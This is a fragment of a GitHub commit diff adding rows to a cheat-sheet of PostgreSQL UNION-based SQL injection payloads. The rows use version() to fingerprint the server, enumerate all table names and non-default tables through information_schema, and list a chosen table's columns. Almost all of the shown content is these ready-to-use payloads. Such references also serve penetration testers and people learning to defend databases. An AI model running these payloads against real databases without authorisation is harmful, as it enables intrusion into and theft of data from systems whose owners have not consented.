You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
<td>Union null<br/><i>Note: If original query returns more than one column, add null to equal the number of columns</i></td>
15
+
<td>SELECT "postgres","test" UNION SELECT version(),null<br></td>
16
+
</tr>
17
+
<tr>
18
+
<td>Union to retrieve all table names</td>
19
+
<td>SELECT 'postgres' UNION SELECT table_name FROM information_schema.tables--</td>
20
+
</tr>
21
+
<tr>
22
+
<td>Union to retrieve table names that are not pre-built/default</td>
23
+
<td>SELECT 'postgres' UNION SELECT table_name FROM information_schema.tables WHERE table_schema NOT IN ('pg_catalog', 'information_schema') AND table_schema NOT LIKE 'pg_toast%' AND table_type = 'BASE TABLE'--</td>
24
+
</tr>
25
+
<tr>
26
+
<td>Union to retrieve columns in a table<br/><i>Note: table name is case-sensitive</i></td>
27
+
<td>SELECT 'postgres' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME'--</td>
0 commit comments